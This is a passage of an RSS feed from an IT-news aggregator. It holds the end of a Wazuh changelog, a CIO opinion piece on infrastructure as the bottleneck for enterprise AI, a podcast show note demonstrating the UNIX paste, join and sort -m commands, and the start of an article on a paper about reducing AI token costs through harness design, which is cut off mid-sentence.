<li>Fix issue reference in the daemons stats changelog entry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938483459" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37827" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37827/hovercard" href="https://github.com/wazuh/wazuh/pull/37827">#37827</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta3...v5.0.0-beta4"><tt>v5.0.0-beta3...v5.0.0-beta4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4687: UNIX Curio #11 - Merging Files]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.


ether


This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.


I frequently find myself reaching for the 
cut
 utility when writing scripts to extract o...]]></description>
<link>https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682413/podcasts/hpr4687-unix-curio-11-merging-files/</guid>
<pubDate>Tue, 21 Jul 2026 02:03:23 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>
ether</p>

<blockquote>
This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.</blockquote>

<p>
I frequently find myself reaching for the <code>
cut</code>
 utility when writing scripts to extract one piece of data from a line, or to select specific fields from a log file. While I am familiar with its counterpart, <code>
paste</code>
, I don't employ it very often because I don't typically need its functionality.</p>

<p>
This perhaps has to do with the fact that I rarely work with text files containing lists. For shorter lists, I usually end up using a spreadsheet and for larger ones, a relational database. Both are valuable tools with their own strengths and weaknesses, but it is good to also know about standard utilities for working with lists. After uploading UNIX Curio #8 (<a href="https://hackerpublicradio.org/eps/hpr4657/" rel="noopener noreferrer" target="_blank">
HPR episode 4657</a>
), I felt like maybe I had been too dismissive of the <code>
comm</code>
 utility in that episode and should talk more about tools that are useful when managing lists.</p>

<p>
I don't frequently find myself using <code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html" rel="noopener noreferrer" target="_blank">
paste</a>

</code>

<sup>
1</sup>
, but can explain how it works. Briefly, it is a rough opposite of <code>
cut</code>
—when given multiple files as arguments, it assembles the first line from each one separated by tabs, then the second line, and so on. Instead of tabs, a different delimiter can be chosen with the <code>
-d</code>
 option. Another option is <code>
-s</code>
, which swaps rows and columns so that the contents of each named file would appear on one line. While <code>
paste</code>
 itself doesn't qualify as a UNIX Curio in my opinion, there is one feature that does: a hyphen can be given as an argument multiple times. In this special case, the output is taken line by line from standard input, but is spread across as many columns as there are hyphens.</p>

<p>

<em>
Example of using </em>

<code>

<em>
paste</em>

</code>

<em>
 to turn the output of </em>

<code>

<em>
ls</em>

</code>

<em>
 into columns. Because these columns are separated by tabs, they don't necessarily line up when a filename is eight or more characters long. The </em>

<code>

<em>
-1</em>

</code>

<em>
 is not required for the second </em>

<code>

<em>
ls</em>

</code>

<em>
 command since that behavior is implied when output isn't going to a terminal. The </em>

<code>

<em>
-C</em>

</code>

<em>
 option to </em>

<code>

<em>
ls</em>

</code>

<em>
 usually gives nicer-looking output on a terminal—also, it lists in ascending order down by column. (Most implementations default to </em>

<code>

<em>
-C</em>

</code>

<em>
 when output goes to a terminal.) If you want items ascending along rows like the </em>

<code>

<em>
paste</em>

</code>

<em>
 example does, try </em>

<code>

<em>
ls -x</em>

</code>

<em>
 instead.</em>

</p>

<pre data-language="plain">
$ ls -1 /proc/net
anycast6
arp
bnep
connector
dev
dev_mcast
dev_snmp6
fib_trie
fib_triestat
hci
icmp
icmp6
if_inet6
igmp
igmp6
ip6_flowlabel
ip6_mr_cache
ip6_mr_vif
ip_mr_cache
ip_mr_vif
ip_tables_matches
ip_tables_names
[...35 more entries not shown...]
$ ls /proc/net | paste - - - -
anycast6        arp     bnep    connector
dev     dev_mcast       dev_snmp6       fib_trie
fib_triestat    hci     icmp    icmp6
if_inet6        igmp    igmp6   ip6_flowlabel
ip6_mr_cache    ip6_mr_vif      ip_mr_cache     ip_mr_vif
ip_tables_matches       ip_tables_names ip_tables_targets       ipv6_route
l2cap   mcfilter        mcfilter6       netfilter
netlink netstat packet  protocols
psched  ptype   raw     raw6
rfcomm  route   rt6_stats       rt_acct
rt_cache        sco     snmp    snmp6
sockstat        sockstat6       softnet_stat    stat
tcp     tcp6    udp     udp6
udplite udplite6        unix    wireless
xfrm_stat
$ ls -C /proc/net
anycast6      if_inet6           l2cap      rfcomm        tcp
arp           igmp               mcfilter   route         tcp6
bnep          igmp6              mcfilter6  rt6_stats     udp
connector     ip6_flowlabel      netfilter  rt_acct       udp6
dev           ip6_mr_cache       netlink    rt_cache      udplite
dev_mcast     ip6_mr_vif         netstat    sco           udplite6
dev_snmp6     ip_mr_cache        packet     snmp          unix
fib_trie      ip_mr_vif          protocols  snmp6         wireless
fib_triestat  ip_tables_matches  psched     sockstat      xfrm_stat
hci           ip_tables_names    ptype      sockstat6
icmp          ip_tables_targets  raw        softnet_stat
icmp6         ipv6_route         raw6       stat
$ ls -x /proc/net
anycast6           arp              bnep               connector     dev
dev_mcast          dev_snmp6        fib_trie           fib_triestat  hci
icmp               icmp6            if_inet6           igmp          igmp6
ip6_flowlabel      ip6_mr_cache     ip6_mr_vif         ip_mr_cache   ip_mr_vif
ip_tables_matches  ip_tables_names  ip_tables_targets  ipv6_route    l2cap
mcfilter           mcfilter6        netfilter          netlink       netstat
packet             protocols        psched             ptype         raw
raw6               rfcomm           route              rt6_stats     rt_acct
rt_cache           sco              snmp               snmp6         sockstat
sockstat6          softnet_stat     stat               tcp           tcp6
udp                udp6             udplite            udplite6      unix
wireless           xfrm_stat
</pre>

<p>
The <code>
paste</code>
 command has limitations—the files you give it must all be already arranged in the same order, and if any file is missing a value, it must have a blank line so that subsequent lines will match up correctly. The files do <em>
not</em>
 necessarily have to be sorted alphabetically, but whatever order they are in has to be the same. Check out HPR episodes <a href="https://hackerpublicradio.org/eps/hpr0962/" rel="noopener noreferrer" target="_blank">
962</a>
 and <a href="https://hackerpublicradio.org/eps/hpr4201/" rel="noopener noreferrer" target="_blank">
4201</a>
 for some more background on the <code>
paste</code>
 utility.</p>

<p>

<em>
Example of using </em>

<code>

<em>
paste</em>

</code>

<em>
 with files where some values are empty. Bob works from home so doesn't have an office assigned, and the laboratory Carol works in doesn't have a phone. This relies on the fact that the same line number in every file relates to the same person/entry.</em>

</p>

<pre data-language="plain">
$ cat names
Alice
Bob
Carol
Dave
$ cat offices
203

Lab6A
117
$ cat phones
+1 212-555-1234
+1 919-555-2345

+1 212-555-1278
$ paste names offices phones
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
</pre>

<p>
Our second UNIX Curio for today is <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html" rel="noopener noreferrer" target="_blank">
a utility called </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html" rel="noopener noreferrer" target="_blank">
join</a>

</code>

<sup>
2</sup>
, which has a bit more sophistication. It operates on two files, which can have multiple columns, and combines them using the join field. By default, the first column/field in each file is the join field, and only entries that exist in both files are printed. The <code>
-1</code>
 and <code>
-2</code>
 options can be used to join on a different field, and <code>
-o</code>
 selects specific fields to be output. To make it so lines with missing entries also appear, you need to use the <code>
-a</code>
 option, but an actual empty string with separator won't be printed unless <code>
-o</code>
 is also present and includes the field.</p>

<p>
The default field separator character is one or more "blanks" in the current locale—for the POSIX locale, this means a space or a horizontal tab. The <code>
-t</code>
 option selects a different character and also removes the treatment of multiple occurrences as a single separator, making it possible to have an empty field in one or both of the files. By default, a single space is used to separate fields in the output. If <code>
-t</code>
 is given, the same character is used for separating fields in both input and output. You would need to pipe output through another tool like <code>
tr</code>
 if you wanted to have a different separator in the output.</p>

<p>
The <code>
join</code>
 utility might be an improvement over <code>
paste</code>
 in some cases, since the join field makes it a little easier to identify which entries match up across files. It is limited to operating only on two files (one of which can be standard input), so combining more than that requires either creating temporary intermediate files or chaining together <code>
join</code>
 commands in a pipeline. Another requirement is that all files must already be sorted in the current locale.</p>

<p>

<em>
Example showing how </em>

<code>

<em>
join</em>

</code>

<em>
 can be used with two tab-separated lists. The LC_ALL assignment forces </em>

<code>

<em>
join</em>

</code>

<em>
 to sort using the C (POSIX) locale instead of whatever might be set in your environment. The "@" on the header line has no special meaning; it is just there to make sure it sorts before any letters or numbers (in the C locale; it might not in other locales). Note that if </em>

<code>

<em>
-t</em>

</code>

<em>
 were not specified, </em>
plist<em>
 would be treated as having three fields because of the space separating the country code from the rest of the phone number.</em>

</p>

<pre data-language="plain">
$ export tab="$(printf '\t')" #To more easily use tab characters below
$ cat olist
@Name   Office
Alice   203
Carol   Lab6A
Dave    117
$ cat plist
@Name   Phone
Alice   +1 212-555-1234
Bob     +1 919-555-2345
Dave    +1 212-555-1278
$ LC_ALL=C join -t "$tab" olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Dave    117     +1 212-555-1278
$ LC_ALL=C join -t "$tab" -a 1 -a 2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #By default, join acts as if empty fields don't exist; use -o to include
$ LC_ALL=C join -t "$tab" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob             +1 919-555-2345
Carol   Lab6A
Dave    117     +1 212-555-1278
$ #The -e option sets a placeholder to use for empty fields
$ LC_ALL=C join -t "$tab" -e "(none)" -a 1 -a 2 -o 0,1.2,2.2 olist plist
@Name   Office  Phone
Alice   203     +1 212-555-1234
Bob     (none)  +1 919-555-2345
Carol   Lab6A   (none)
Dave    117     +1 212-555-1278
</pre>

<p>
The brief description for <code>
join</code>
 is "relational database operator"—I won't dispute that, but in my view it offers far fewer capabilities than people would expect from today's relational databases. I would imagine that when most people think of those they have Structured Query Language (SQL) in mind, which offers a lot more flexibility and functions to operate on data. However, I can see how <code>
join</code>
 could be suitable for simple operations.</p>

<p>
Our last UNIX Curio for today relates to <a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
the </a>

<code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
sort</a>

</code>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
 utility</a>

<sup>
3</sup>
. While, as you might expect, it is well-known for its ability to sort data, it has another feature that is more obscure. When used with the <code>
-m</code>
 option, instead of sorting the files given as arguments, it merges them together. All of the files are expected to already be sorted—once combined, the list that is output will also be sorted. The order in which the files are named does <em>
not</em>
 matter; it is not required for the contents of the first file to start before the second, just that both are sorted.</p>

<pre data-language="plain">
$ cat women
Alice
Carol
$ cat men
Bob
Dave
$ sort -m men women
Alice
Bob
Carol
Dave
</pre>

<p>
Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command <code>
sort -m -u 2023list 2024list 2025list</code>
 would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the <code>
-u</code>
 option—it removes any duplicate entries.</p>

<p>
It is probably no surprise that the <code>
sort</code>
 utility appeared early on—it was in 1971's First Edition UNIX, though it didn't <a href="https://archive.org/details/a_research_unix_reader/page/n19/mode/1up" rel="noopener noreferrer" target="_blank">
gain the merging functionality until Fifth Edition</a>

<sup>
4</sup>
 in 1973. What <em>
did</em>
 come as a shock to me is that both <code>
cut</code>
 and <code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1" rel="noopener noreferrer" target="_blank">
paste</a>

</code>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1" rel="noopener noreferrer" target="_blank">
 didn't show up until 1980 with System III</a>

<sup>
5</sup>
, and were actually preceded by <code>

<a href="https://man.cat-v.org/unix_7th/1/join" rel="noopener noreferrer" target="_blank">
join</a>

</code>

<a href="https://man.cat-v.org/unix_7th/1/join" rel="noopener noreferrer" target="_blank">
, which was in Seventh Edition UNIX</a>

<sup>
6</sup>
 from 1979. I assumed that at least <code>
cut</code>
 would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just <em>
seems</em>
 to have been with us forever.</p>

<p>
As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the <code>
join</code>
 utility or these features of <code>
paste</code>
 and <code>
sort</code>
 very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.</p>

<p>
References:</p>

<ol>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html" rel="noopener noreferrer" target="_blank">
Paste specification</a>
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html" rel="noopener noreferrer" target="_blank">
Join specification</a>
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html</li>

<li>

<a href="https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html" rel="noopener noreferrer" target="_blank">
Sort specification</a>
 https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html</li>

<li>

<a href="https://archive.org/details/a_research_unix_reader/page/n19/mode/1up" rel="noopener noreferrer" target="_blank">
A Research UNIX Reader: Fifth Edition sort manual page</a>
 https://archive.org/details/a_research_unix_reader/page/n19/mode/1up</li>

<li>

<a href="https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1" rel="noopener noreferrer" target="_blank">
System III paste manual page</a>
 https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1</li>

<li>

<a href="https://man.cat-v.org/unix_7th/1/join" rel="noopener noreferrer" target="_blank">
Seventh Edition UNIX join manual page</a>
 https://man.cat-v.org/unix_7th/1/join</li>

</ol>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4687/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, 